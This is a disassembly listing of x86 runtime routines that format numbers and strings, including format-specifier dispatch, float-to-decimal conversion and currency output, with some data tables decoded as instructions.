		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp+8]
		jg	short loc_200079D0
		inc	dword ptr [ebp-0Ch]
		mov	ebx, [ebp+0Ch]
		cmp	byte ptr [ebx+eax*8+4],	0
		mov	ebx, [ebx+eax*8]
		jz	short loc_200079D0
		xor	ebx, ebx


loc_200079D0:				; CODE XREF: sub_2000798E+2Ej
					; sub_2000798E+3Ej
		cmp	esi, ecx
		jz	short loc_200079B0
		lodsb

locret_200079D5:			; CODE XREF: sub_2000798E+8j
					; sub_2000798E+Cj
		retn
sub_2000798E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_200079D6	proc near		; CODE XREF: sub_200078AC+90p
		and	al, 0DFh
		mov	cl, al
		mov	eax, 1
		mov	ebx, [ebp-0Ch]
		cmp	ebx, [ebp+8]
		jg	short loc_20007A43
		inc	dword ptr [ebp-0Ch]
		mov	esi, [ebp+0Ch]
		lea	esi, [esi+ebx*8]
		mov	eax, [esi]
		movzx	edx, byte ptr [esi+4]
		jmp	off_200079FD[edx*4]
; ---------------------------------------------------------------------------
off_200079FD	dd offset loc_20007A8E	; DATA XREF: sub_200079D6+20r
		dd offset loc_20007A41
		dd offset loc_20007AC7
		dd offset loc_20007B8E
		dd offset loc_20007AF7
		dd offset loc_20007B6F
		dd offset loc_20007B4F
		dd offset loc_20007A41
		dd offset loc_20007A41
		dd offset loc_20007A41
		dd offset loc_20007B08
		dd offset loc_20007B33
		dd offset loc_20007B8A
		dd offset loc_20007AD6
		dd offset loc_20007A41
		dd offset loc_20007B0F
		dd offset loc_20007A58
; ---------------------------------------------------------------------------


loc_20007A41:				; CODE XREF: sub_200079D6+20j
					; sub_200079D6+B6j ...
		xor	eax, eax


loc_20007A43:				; CODE XREF: sub_200079D6+Fj
		call	sub_20007C03
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		sub	ecx, edx
		mov	ebx, [ebp-4]
		call	sub_20007824


loc_20007A58:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+67o
		lea	esi, [ebp-49h]
		mov	edx, [ebp-24h]
		cmp	edx, 20h
		jbe	short loc_20007A65
		xor	edx, edx


loc_20007A65:				; CODE XREF: sub_200079D6+8Bj
		mov	ebx, ecx
		sub	cl, 44h
		jz	sub_20007180
		mov	ecx, 10h
		cmp	bl, 58h
		jz	sub_20007180
		mov	ecx, 0Ah
		cmp	bl, 55h
		jz	sub_20007180
		jmp	short loc_20007A41
; ---------------------------------------------------------------------------


loc_20007A8E:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6:off_200079FDo
		lea	esi, [ebp-59h]
		mov	edx, [ebp-24h]
		mov	ebx, ecx
		cmp	edx, 10h
		jbe	short loc_20007A9D
		xor	edx, edx


loc_20007A9D:				; CODE XREF: sub_200079D6+C3j
		sub	cl, 44h
		jz	sub_20007114
		mov	ecx, 10h
		cmp	bl, 58h
		jz	sub_20007114
		mov	ecx, 0Ah
		cmp	bl, 55h
		jz	sub_20007114
		jmp	loc_20007A41
; ---------------------------------------------------------------------------


loc_20007AC7:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+2Fo
		cmp	cl, 53h
		jnz	loc_20007A41
		mov	ecx, 1
		retn
; ---------------------------------------------------------------------------


loc_20007AD6:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+5Bo
		cmp	cl, 53h
		jnz	loc_20007A41
		cmp	word ptr [eax],	1
		jbe	short loc_20007AF4
		mov	edx, eax
		lea	eax, [ebp-10h]
		call	sub_2000787C
		mov	esi, [ebp-10h]
		jmp	short loc_20007B3E
; ---------------------------------------------------------------------------


loc_20007AF4:				; CODE XREF: sub_200079D6+10Dj
					; sub_200079D6+16Aj
		xor	ecx, ecx
		retn
; ---------------------------------------------------------------------------


loc_20007AF7:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+37o
		cmp	cl, 53h
		jnz	loc_20007A41
		mov	esi, eax
		lodsb
		movzx	ecx, al
		jmp	short loc_20007B45
; ---------------------------------------------------------------------------


loc_20007B08:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+4Fo
		mov	esi, offset sub_200041D0
		jmp	short loc_20007B14
; ---------------------------------------------------------------------------


loc_20007B0F:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+63o
		mov	esi, offset sub_20004230


loc_20007B14:				; CODE XREF: sub_200079D6+137j
		add	esi, [ebp-4]
		cmp	cl, 53h
		jnz	loc_20007A41
		mov	edx, eax
		lea	eax, [ebp-14h]
		push	ebx
		mov	ebx, [ebp-4]
		call	esi
		pop	ebx
		mov	esi, [ebp-14h]
		mov	eax, esi
		jmp	short loc_20007B3E
; ---------------------------------------------------------------------------


loc_20007B33:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+53o
		cmp	cl, 53h
		jnz	loc_20007A41
		mov	esi, eax


loc_20007B3E:				; CODE XREF: sub_200079D6+11Cj
					; sub_200079D6+15Bj
		or	esi, esi
		jz	short loc_20007AF4
		mov	ecx, [esi-4]


loc_20007B45:				; CODE XREF: sub_200079D6+130j
		cmp	ecx, [ebp-24h]
		ja	short loc_20007B4B
		retn
; ---------------------------------------------------------------------------


loc_20007B4B:				; CODE XREF: sub_200079D6+172j
		mov	ecx, [ebp-24h]
		retn
; ---------------------------------------------------------------------------


loc_20007B4F:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+3Fo
		cmp	cl, 53h
		jnz	loc_20007A41
		mov	esi, eax
		push	edi
		mov	edi, eax
		xor	al, al
		mov	ecx, [ebp-24h]
		jecxz	short loc_20007B69
		repne scasb
		jnz	short loc_20007B69
		dec	edi


loc_20007B69:				; CODE XREF: sub_200079D6+18Cj
					; sub_200079D6+190j
		mov	ecx, edi
		sub	ecx, esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_20007B6F:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+3Bo
		cmp	cl, 50h
		jnz	loc_20007A41
		mov	edx, 8
		mov	ecx, 10h
		lea	esi, [ebp-59h]
		jmp	sub_20007114
; ---------------------------------------------------------------------------


loc_20007B8A:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+57o
		mov	bh, 1
		jmp	short loc_20007B90
; ---------------------------------------------------------------------------


loc_20007B8E:				; CODE XREF: sub_200079D6+20j
					; DATA XREF: sub_200079D6+33o
		mov	bh, 0


loc_20007B90:				; CODE XREF: sub_200079D6+1B6j
		mov	esi, eax
		mov	bl, 0
		cmp	cl, 47h
		jz	short loc_20007BD8
		mov	bl, 1
		cmp	cl, 45h
		jz	short loc_20007BD8
		mov	bl, 2
		cmp	cl, 46h
		jz	short loc_20007BB9
		mov	bl, 3
		cmp	cl, 4Eh
		jz	short loc_20007BB9
		cmp	cl, 4Dh
		jnz	loc_20007A41
		mov	bl, 4


loc_20007BB9:				; CODE XREF: sub_200079D6+1CFj
					; sub_200079D6+1D6j
		mov	eax, 12h
		mov	edx, [ebp-24h]
		cmp	edx, eax
		jbe	short loc_20007BEA
		mov	edx, 2
		cmp	cl, 4Dh
		jnz	short loc_20007BEA
		movzx	edx, ds:byte_2001569C
		jmp	short loc_20007BEA
; ---------------------------------------------------------------------------


loc_20007BD8:				; CODE XREF: sub_200079D6+1C1j
					; sub_200079D6+1C8j
		mov	eax, [ebp-24h]
		mov	edx, 3
		cmp	eax, 12h
		jbe	short loc_20007BEA
		mov	eax, 0Fh


loc_20007BEA:				; CODE XREF: sub_200079D6+1EDj
					; sub_200079D6+1F7j ...
		push	ebx
		push	eax
		push	edx
		lea	eax, [ebp-69h]
		mov	edx, esi
		movzx	ecx, bh
		mov	ebx, [ebp-4]
		call	sub_20007D7C
		mov	ecx, eax
		lea	esi, [ebp-69h]
		retn
sub_200079D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_20007C03	proc near		; CODE XREF: sub_200079D6:loc_20007A43p
					; sub_200078AC:loc_20007C13p
		push	ebx
		push	eax
		lea	eax, [ebp-14h]
		mov	ebx, [ebp-4]
		call	sub_20003FA8
		pop	eax
		pop	ebx
		retn
sub_20007C03	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_200078AC


loc_20007C13:				; CODE XREF: sub_200078AC+3Fj
		call	sub_20007C03
		pop	edi
		pop	esi
		pop	ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_200078AC
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20007C24	proc near		; CODE XREF: CODE:2000A3FDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_20007C5B
		test	esi, esi
		jz	short loc_20007C5B
		mov	eax, esi
		call	sub_200076DC
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		mov	eax, ebx
		mov	edx, edi
		call	sub_200078AC
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		jmp	short loc_20007C5D
; ---------------------------------------------------------------------------


loc_20007C5B:				; CODE XREF: sub_20007C24+Ej
					; sub_20007C24+12j
		xor	eax, eax


loc_20007C5D:				; CODE XREF: sub_20007C24+35j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_20007C24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20007C64	proc near		; CODE XREF: sub_2000A520+34p
					; sub_2000A5DC+41p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		xchg	eax, ecx
		xchg	edx, ecx
		call	sub_20007C78
		pop	ebp
		retn	4
sub_20007C64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20007C78	proc near		; CODE XREF: sub_20007C64+Ap

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	ebx, 1000h
		mov	eax, [ebp+var_4]
		call	sub_20004244
		cmp	eax, 0C00h
		jge	short loc_20007CC9
		mov	eax, [ebp+var_4]
		call	sub_20004244
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_1008]
		mov	edx, 0FFFh
		call	sub_200078AC
		jmp	short loc_20007CD5
; ---------------------------------------------------------------------------


loc_20007CC9:				; CODE XREF: sub_20007C78+29j
		mov	eax, [ebp+var_4]
		call	sub_20004244
		mov	ebx, eax
		mov	eax, ebx


loc_20007CD5:				; CODE XREF: sub_20007C78+4Fj
		mov	edx, ebx
		dec	edx
		cmp	eax, edx
		jl	short loc_20007D1F
		jmp	short loc_20007D0E
; ---------------------------------------------------------------------------


loc_20007CDE:				; CODE XREF: sub_20007C78+9Bj
		add	ebx, ebx
		mov	eax, esi
		call	sub_20003FA8
		mov	eax, esi
		mov	edx, ebx
		call	sub_200045D0
		mov	eax, [ebp+var_4]
		call	sub_20004244
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		dec	edx
		mov	eax, [esi]
		call	sub_200078AC


loc_20007D0E:				; CODE XREF: sub_20007C78+64j
		mov	edx, ebx
		dec	edx
		cmp	eax, edx
		jge	short loc_20007CDE
		mov	edx, esi
		xchg	eax, edx
		call	sub_200045D0
		jmp	short loc_20007D2D
; ---------------------------------------------------------------------------


loc_20007D1F:				; CODE XREF: sub_20007C78+62j
		lea	edx, [ebp+var_1008]
		mov	ecx, esi
		xchg	eax, ecx
		call	sub_20004098


loc_20007D2D:				; CODE XREF: sub_20007C78+A5j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_20007C78	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20007D38	proc near		; CODE XREF: sub_20007E85+8Dp
		push	esi
		xor	esi, esi
		stosb
		or	bl, bl
		jnz	short loc_20007D44
		xor	edx, edx
		jmp	short loc_20007D4E
; ---------------------------------------------------------------------------


loc_20007D44:				; CODE XREF: sub_20007D38+6j
		or	edx, edx
		jge	short loc_20007D4E
		mov	al, 2Dh
		neg	edx
		jmp	short loc_20007D54
; ---------------------------------------------------------------------------


loc_20007D4E:				; CODE XREF: sub_20007D38+Aj
					; sub_20007D38+Ej
		or	ah, ah
		jz	short loc_20007D55
		mov	al, ah


loc_20007D54:				; CODE XREF: sub_20007D38+14j
		stosb


loc_20007D55:				; CODE XREF: sub_20007D38+18j
		xchg	eax, edx
		push	eax
		mov	ebx, esp


loc_20007D59:				; CODE XREF: sub_20007D38+32j
					; sub_20007D38+36j
		xor	edx, edx
		div	ds:flt_20014190[esi]
		add	dl, 30h
		mov	[ebx], dl
		inc	ebx
		dec	ecx
		or	eax, eax
		jnz	short loc_20007D59
		or	ecx, ecx
		jg	short loc_20007D59


loc_20007D70:				; CODE XREF: sub_20007D38+3Ej
		dec	ebx
		mov	al, [ebx]
		stosb
		cmp	ebx, esp
		jnz	short loc_20007D70
		pop	eax
		pop	esi
		retn
sub_20007D38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20007D7C	proc near		; CODE XREF: sub_200079D6+222p
					; sub_20008390+17p ...

var_2C		= word ptr -2Ch
var_29		= byte ptr -29h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

; FUNCTION CHUNK AT 20008049 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], eax
		mov	al, ds:byte_2001569B
		mov	[ebp+var_5], al
		mov	al, ds:byte_2001569A
		mov	[ebp+var_6], al
		mov	eax, ds:dword_20015694
		mov	[ebp+var_C], eax
		mov	al, ds:byte_20015698
		mov	[ebp+var_D], al
		mov	al, ds:byte_20015699
		mov	[ebp+var_E], al
		mov	[ebp+var_14], 0
		mov	eax, 13h
		cmp	cl, 0
		jnz	short loc_20007DD8
		mov	eax, [ebp+arg_4]
		cmp	eax, 2
		jge	short loc_20007DCE
		mov	eax, 2


loc_20007DCE:				; CODE XREF: sub_20007D7C+4Bj
		cmp	eax, 12h
		jle	short loc_20007DD8
		mov	eax, 12h


loc_20007DD8:				; CODE XREF: sub_20007D7C+43j
					; sub_20007D7C+55j
		mov	[ebp+arg_4], eax
		push	eax
		mov	eax, 270Fh
		cmp	[ebp+arg_8], 2
		jb	short loc_20007DEA
		mov	eax, [ebp+arg_0]


loc_20007DEA:				; CODE XREF: sub_20007D7C+69j
		push	eax
		lea	eax, [ebp+var_2C]
		call	sub_20008050
		mov	edi, [ebp+var_4]
		movzx	eax, [ebp+var_2C]
		sub	eax, 7FFFh
		cmp	eax, 2
		jnb	short loc_20007E1E
		mov	ecx, eax
		call	sub_20007E7B
		lea	esi, dword_20007E6C[ecx+ecx*2]
		add	esi, [ebp+var_14]
		mov	ecx, 3
		rep movsb
		jmp	short loc_20007E4B
; ---------------------------------------------------------------------------


loc_20007E1E:				; CODE XREF: sub_20007D7C+86j
		lea	esi, [ebp+var_29]
		movzx	ebx, [ebp+arg_8]
		cmp	bl, 1
		jz	short loc_20007E3A
		cmp	bl, 4
		ja	short loc_20007E38
		movsx	eax, [ebp+var_2C]
		cmp	eax, [ebp+arg_4]
		jle	short loc_20007E3A


loc_20007E38:				; CODE XREF: sub_20007D7C+B1j
		mov	bl, 0


loc_20007E3A:				; CODE XREF: sub_20007D7C+ACj
					; sub_20007D7C+BAj
		lea	ebx, off_20007E58[ebx*4]
		add	ebx, [ebp+var_14]
		mov	ebx, [ebx]
		add	ebx, [ebp+var_14]
		call	ebx


loc_20007E4B:				; CODE XREF: sub_20007D7C+A0j
		mov	eax, edi
		sub	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		jmp	loc_20008049
sub_20007D7C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_20007E58	dd offset sub_20007E85	; DATA XREF: sub_20007D7C:loc_20007E3Ao
		dd offset loc_20007EE1
		dd offset sub_20007F18
		dd offset sub_20007F18
		dd offset sub_20007F82
dword_20007E6C	dd 4E464E49h		; DATA XREF: sub_20007D7C+8Fr
; ---------------------------------------------------------------------------
		inc	ecx
		dec	esi

; =============== S U B	R O U T	I N E =======================================



sub_20007E72	proc near		; CODE XREF: sub_20007E85+61p
					; sub_20007E85:loc_20007EF4p ...
		lodsb
		or	al, al
		jnz	short locret_20007E7A
		mov	al, 30h
		dec	esi

locret_20007E7A:			; CODE XREF: sub_20007E72+3j
		retn
sub_20007E72	endp


; =============== S U B	R O U T	I N E =======================================



sub_20007E7B	proc near		; CODE XREF: sub_20007D7C+8Ap
					; sub_20007E85p ...
		cmp	byte ptr [ebp-2Ah], 0
		jz	short locret_20007E84
		mov	al, 2Dh
		stosb

locret_20007E84:			; CODE XREF: sub_20007E7B+4j
		retn
sub_20007E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_20007E85	proc near		; DATA XREF: CODE:off_20007E58o
		call	sub_20007E7B
		movsx	ecx, word ptr [ebp-2Ch]
		xor	edx, edx
		cmp	ecx, [ebp+0Ch]
		jg	short loc_20007EB2
		cmp	ecx, 0FFFFFFFDh
		jl	short loc_20007EB2
		or	ecx, ecx
		jg	short loc_20007EB8
		mov	al, 30h
		stosb
		cmp	byte ptr [esi],	0
		jz	short locret_20007EE0
		mov	al, [ebp-5]
		stosb
		neg	ecx
		mov	al, 30h
		rep stosb
		jmp	short loc_20007ECC
; ---------------------------------------------------------------------------


loc_20007EB2:				; CODE XREF: sub_20007E85+Ej
					; sub_20007E85+13j
		mov	ecx, 1
		inc	edx


loc_20007EB8:				; CODE XREF: sub_20007E85+17j
					; sub_20007E85+39j
		lodsb
		or	al, al
		jz	short loc_20007ED4
		stosb
		loop	loc_20007EB8
		lodsb
		or	al, al
		jz	short loc_20007ED8
		mov	ah, al
		mov	al, [ebp-5]
		stosw


loc_20007ECC:				; CODE XREF: sub_20007E85+2Bj
					; sub_20007E85+4Dj
		lodsb
		or	al, al
		jz	short loc_20007ED8
		stosb
		jmp	short loc_20007ECC
; ---------------------------------------------------------------------------


loc_20007ED4:				; CODE XREF: sub_20007E85+36j
		mov	al, 30h
		rep stosb


loc_20007ED8:				; CODE XREF: sub_20007E85+3Ej
					; sub_20007E85+4Aj
		or	edx, edx
		jz	short locret_20007EE0
		xor	eax, eax
		jmp	short loc_20007EFE
; ---------------------------------------------------------------------------

locret_20007EE0:			; CODE XREF: sub_20007E85+1Fj
					; sub_20007E85+55j
		retn
; ---------------------------------------------------------------------------


loc_20007EE1:				; DATA XREF: CODE:20007E5Co
		call	sub_20007E7B
		call	sub_20007E72
		mov	ah, [ebp-5]
		stosw
		mov	ecx, [ebp+0Ch]
		dec	ecx


loc_20007EF4:				; CODE XREF: sub_20007E85+75j
		call	sub_20007E72
		stosb
		loop	loc_20007EF4
		mov	ah, 2Bh


loc_20007EFE:				; CODE XREF: sub_20007E85+59j
		mov	ecx, [ebp+8]
		cmp	ecx, 4
		jbe	short loc_20007F08
		xor	ecx, ecx


loc_20007F08:				; CODE XREF: sub_20007E85+7Fj
		mov	al, 45h
		mov	bl, [ebp-29h]
		movsx	edx, word ptr [ebp-2Ch]
		dec	edx
		call	sub_20007D38
		retn
sub_20007E85	endp


; =============== S U B	R O U T	I N E =======================================



sub_20007F18	proc near		; DATA XREF: CODE:20007E60o
					; CODE:20007E64o
		call	sub_20007E7B


loc_20007F1D:				; CODE XREF: sub_20007F82:loc_20007FCBp
		mov	edx, [ebp+8]
		cmp	edx, 12h
		jb	short loc_20007F2A
		mov	edx, 12h


loc_20007F2A:				; CODE XREF: sub_20007F18+Bj
		movsx	ecx, word ptr [ebp-2Ch]
		or	ecx, ecx
		jg	short loc_20007F37
		mov	al, 30h
		stosb
		jmp	short loc_20007F61
; ---------------------------------------------------------------------------


loc_20007F37:				; CODE XREF: sub_20007F18+18j
		xor	ebx, ebx
		cmp	byte ptr [ebp+10h], 2
		jz	short loc_20007F49
		mov	eax, ecx
		dec	eax
		mov	bl, 3
		div	bl
		mov	bl, ah
		inc	ebx


loc_20007F49:				; CODE XREF: sub_20007F18+25j
					; sub_20007F18+3Bj ...
		call	sub_20007E72
		stosb
		dec	ecx
		jz	short loc_20007F61
		dec	ebx
		jnz	short loc_20007F49
		mov	al, [ebp-6]
		test	al, al
		jz	short loc_20007F49
		stosb
		mov	bl, 3
		jmp	short loc_20007F49
; ---------------------------------------------------------------------------


loc_20007F61:				; CODE XREF: sub_20007F18+1Dj
					; sub_20007F18+38j
		or	edx, edx
		jz	short locret_20007F81
		mov	al, [ebp-5]
		test	al, al
		jz	short loc_20007F6D
		stosb


loc_20007F6D:				; CODE XREF: sub_20007F18+52j
		jecxz	short loc_20007F78
		mov	al, 30h


loc_20007F71:				; CODE XREF: sub_20007F18+5Ej
		stosb
		dec	edx
		jz	short locret_20007F81
		inc	ecx
		jnz	short loc_20007F71


loc_20007F78:				; CODE XREF: sub_20007F18:loc_20007F6Dj
					; sub_20007F18+67j
		call	sub_20007E72
		stosb
		dec	edx
		jnz	short loc_20007F78

locret_20007F81:			; CODE XREF: sub_20007F18+4Bj
					; sub_20007F18+5Bj
		retn
sub_20007F18	endp


; =============== S U B	R O U T	I N E =======================================



sub_20007F82	proc near		; DATA XREF: CODE:20007E68o
		xor	ebx, ebx
		mov	bl, [ebp-0Dh]
		mov	ecx, 3
		cmp	byte ptr [ebp-2Ah], 0
		jz	short loc_20007F9A
		mov	bl, [ebp-0Eh]
		mov	ecx, 40Fh


loc_20007F9A:				; CODE XREF: sub_20007F82+Ej
		cmp	bl, cl
		jbe	short loc_20007FA0
		mov	bl, cl


loc_20007FA0:				; CODE XREF: sub_20007F82+1Aj
		add	bl, ch
		lea	ebx, dword_20007FE5[ebx+ebx*4]
		add	ebx, [ebp-14h]
		mov	ecx, 5


loc_20007FB1:				; CODE XREF: sub_20007F82+51j
		mov	al, [ebx]
		cmp	al, 40h
		jz	short locret_20007FD5
		push	ecx
		push	ebx
		cmp	al, 24h
		jz	short loc_20007FC4
		cmp	al, 2Ah
		jz	short loc_20007FCB
		stosb
		jmp	short loc_20007FD0
; ---------------------------------------------------------------------------


loc_20007FC4:				; CODE XREF: sub_20007F82+39j
		call	sub_20007FD6
		jmp	short loc_20007FD0
; ---------------------------------------------------------------------------


loc_20007FCB:				; CODE XREF: sub_20007F82+3Dj
		call	loc_20007F1D


loc_20007FD0:				; CODE XREF: sub_20007F82+40j
					; sub_20007F82+47j
		pop	ebx
		pop	ecx
		inc	ebx
		loop	loc_20007FB1

locret_20007FD5:			; CODE XREF: sub_20007F82+33j
		retn
sub_20007F82	endp


; =============== S U B	R O U T	I N E =======================================



sub_20007FD6	proc near		; CODE XREF: sub_20007F82:loc_20007FC4p
		push	esi
		mov	esi, [ebp-0Ch]
		test	esi, esi
		jz	short loc_20007FE3
		mov	ecx, [esi-4]
		rep movsb


loc_20007FE3:				; CODE XREF: sub_20007FD6+6j
		pop	esi
		retn
sub_20007FD6	endp

; ---------------------------------------------------------------------------
dword_20007FE5	dd 40402A24h		; DATA XREF: sub_20007F82+20r
; ---------------------------------------------------------------------------
		inc	eax
		sub	ah, [eax+eax*2]
		inc	eax
		inc	eax
		and	al, 20h
		sub	al, [eax+40h]
		sub	ah, [eax]
		and	al, 40h
		inc	eax
		sub	[edx+ebp], ah
		sub	[eax+2Dh], eax
		and	al, 2Ah
		inc	eax
		inc	eax
		and	al, 2Dh
		sub	al, [eax+40h]
		and	al, 2Ah
		sub	eax, 2A284040h
		and	al, 29h
		inc	eax
		sub	eax, 4040242Ah
		sub	ch, ds:2A404024h
		and	al, 2Dh
		inc	eax
		inc	eax
		sub	eax, 4024202Ah
		sub	eax, 402A2024h
		sub	ah, [eax]
		and	al, 2Dh
		inc	eax
		and	al, 20h
		sub	ch, ds:2D202440h
		sub	al, [eax+2Ah]
		sub	eax, 28402420h
		and	al, 20h
		sub	ch, [ecx]
		sub	[edx], ch
		and	[ecx+ebp], ah
; START	OF FUNCTION CHUNK FOR sub_20007D7C


loc_20008049:				; CODE XREF: sub_20007D7C+D7j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_20007D7C
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20008050	proc near		; CODE XREF: sub_20007D7C+72p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 20008273 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	edi
		push	esi
		push	ebx
		mov	ebx, eax
		mov	esi, edx
		mov	[ebp+var_4], 0
		cmp	cl, 0
		jz	short loc_20008073
		call	sub_2000819F
		jmp	loc_20008273
; ---------------------------------------------------------------------------


loc_20008073:				; CODE XREF: sub_20008050+17j
		call	sub_2000807D
		jmp	loc_20008273
sub_20008050	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000807D	proc near		; CODE XREF: sub_20008050:loc_20008073p
		mov	ax, [esi+8]
		mov	edx, eax
		and	eax, 7FFFh
		jz	short loc_200080A8
		cmp	eax, 7FFFh
		jnz	short loc_200080B3
		test	word ptr [esi+6], 8000h
		jz	short loc_200080AA
		cmp	dword ptr [esi], 0
		jnz	short loc_200080A7
		cmp	dword ptr [esi+4], 80000000h
		jz	short loc_200080AA


loc_200080A7:				; CODE XREF: sub_2000807D+1Fj
		inc	eax


loc_200080A8:				; CODE XREF: sub_2000807D+Bj
					; sub_2000807D+AFj
		xor	edx, edx


loc_200080AA:				; CODE XREF: sub_2000807D+1Aj
					; sub_2000807D+28j
		mov	byte ptr [ebx+3], 0
		jmp	loc_20008180
; ---------------------------------------------------------------------------


loc_200080B3:				; CODE XREF: sub_2000807D+12j
		fld	tbyte ptr [esi]
		sub	eax, 3FFFh
		imul	eax, 4D10h
		sar	eax, 10h
		inc	eax
		mov	[ebp-8], eax
		mov	eax, 12h
		sub	eax, [ebp-8]
		fabs
		push	ebx
		mov	ebx, [ebp-4]
		call	sub_20003070
		pop	ebx
		frndint
		mov	edi, [ebp-4]
		fld	ds:tbyte_20014184[edi]
		fcomp	st(1)
		fstsw	word ptr [ebp-0Ah]
		wait
		test	word ptr [ebp-0Ah], 4100h
		jz	short loc_200080FE
		fidiv	ds:flt_20014190[edi]
		inc	dword ptr [ebp-8]


loc_200080FE:				; CODE XREF: sub_2000807D+76j
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		mov	edx, 9
		wait


loc_2000810A:				; CODE XREF: sub_2000807D+A0j
		mov	al, [edx+ebp-19h]
		mov	ah, al
		shr	al, 4
		and	ah, 0Fh
		add	ax, 3030h
		stosw
		dec	edx
		jnz	short loc_2000810A
		xor	al, al
		stosb
		mov	edi, [ebp-8]
		add	edi, [ebp+8]
		jns	short loc_20008131
		xor	eax, eax
		jmp	loc_200080A8
; ---------------------------------------------------------------------------


loc_20008131:				; CODE XREF: sub_2000807D+ABj
		cmp	edi, [ebp+0Ch]
		jb	short loc_20008139
		mov	edi, [ebp+0Ch]


loc_20008139:				; CODE XREF: sub_2000807D+B7j
		cmp	edi, 12h
		jnb	short loc_20008165
		cmp	byte ptr [ebx+edi+3], 35h
		jb	short loc_2000816A


loc_20008145:				; CODE XREF: sub_2000807D+D9j
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_2000815A
		inc	byte ptr [ebx+edi+3]
		cmp	byte ptr [ebx+edi+3], 39h
		ja	short loc_20008145
		jmp	short loc_20008179
; ---------------------------------------------------------------------------


loc_2000815A:				; CODE XREF: sub_2000807D+CEj
		mov	word ptr [ebx+3], 31h
		inc	dword ptr [ebp-8]
		jmp	short loc_20008179
; ---------------------------------------------------------------------------


loc_20008165:				; CODE XREF: sub_2000807D+BFj
		mov	edi, 12h


loc_2000816A:				; CODE XREF: sub_2000807D+C6j
					; sub_2000807D+FAj
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_2000818B
		cmp	byte ptr [ebx+edi+3], 30h
		jz	short loc_2000816A


loc_20008179:				; CODE XREF: sub_2000807D+DBj
					; sub_2000807D+E6j
		mov	dx, [esi+8]


loc_2000817D:				; CODE XREF: sub_2000807D+110j
		mov	eax, [ebp-8]


loc_20008180:				; CODE XREF: sub_2000807D+31j
		shr	dx, 0Fh
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
; ---------------------------------------------------------------------------


loc_2000818B:				; CODE XREF: sub_2000807D+F3j
					; DATA XREF: sub_2000819F+60r
		xor	edx, edx
		jmp	short loc_2000817D
sub_2000807D	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 64000000h, 0E8000000h, 10000003h
